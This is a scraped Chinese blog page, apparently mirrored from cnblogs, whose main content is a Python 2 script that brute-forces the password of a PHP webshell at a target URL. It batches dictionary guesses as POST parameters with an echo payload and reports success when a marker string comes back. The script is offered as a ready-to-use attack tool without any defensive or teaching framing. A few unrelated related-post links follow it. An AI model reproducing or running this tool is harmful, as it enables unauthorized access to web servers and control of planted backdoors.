zoukankan      html  css  js  c++  java
  • python 爆破

    python 爆破

    #!/usr/bin/python
    #-*- coding: GB2312 -*-
    #author:loversorry
    import urllib2
    import urllib
    import os
    import sys
    import getopt
    import base64
    
    def usage():
        print sys.argv[0]+" -u [url]http://www.xxx.com/webshell.php[/url] -t php -f ./password.txt -i 1000"
    
    def readFile():
        posts = {}
        posts_arr = []
        f = open(file_name,'r')
        i = 0
        for line in f.readlines():
            line = line.replace('
    ','')
            temp = base64.b64encode(line+'**==**1a1a1a').replace('=','');
            posts[line]='$a=%s;$b=base64_decode($a);echo($b);' % temp
            i = i+1
            if i>int(num)-1:
                posts_arr.append(str(posts))
                posts.clear()
                i = 0
        if len(posts):
            posts_arr.append(str(posts))
        f.close()
        return posts_arr
    
    def intruder(postDatas):
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'
        }
        ok = False
        for item in range(len(postDatas)):
            postData = postDatas[item]
            postData = urllib.urlencode(eval(postData))
            request = urllib2.Request(url,postData,headers)
            response = urllib2.urlopen(request)
            text = response.read()
            if text.find('1a1a1a') <> -1:
                print '
    破解成功,密码为:'+text.split('**==**')[0]
                ok = True
                break
            else:
                sys.stdout.write(".")
        return ok
    
    if __name__ == '__main__':
        opts,args = getopt.getopt(sys.argv[1:],'hu:t:f:i:')
        url = ''
        server_type = ''
        file_name = ''
        num = ''
        for opt,value in opts:
            if opt == '-u':
                url = value
            elif opt == '-t':
                file_name =  value
            elif opt == '-f':
                file_name = value
            elif opt == '-i':
                num = value
            elif opt == '-h':
                usage()
                sys.exit()
        if file_name == '' or num == '' or url == '':
            usage()
            sys.exit()    
        sys.stdout.write("开始破解:")
        if intruder(readFile()) == False:
            print '
    破解失败,换字典试试!'
    
    如果有来生,一个人去远行,看不同的风景,感受生命的活力。。。
  • 相关阅读:
    Opengl绘制我们的小屋(二)第一人称漫游
    C# this.Invoke和this.BeginInvoke 最简单的写法
    C# 递归模型定义。赋值
    .net Core 2.1 后 Session保存,新页面获取不到值
    .net core mvc 错误信息显示 ModelState.AddModelError
    .net Core 依赖注入 Add********说明
    C# 中2个问号的作用。C#的??代表是什么意思
    asp.net mvc 加三层架构 完美搭配
    C# DataTable.Compute()用法
    C# DateTime判断时间
  • 原文地址:https://www.cnblogs.com/Frank99/p/9268718.html
Copyright © 2011-2022 走看看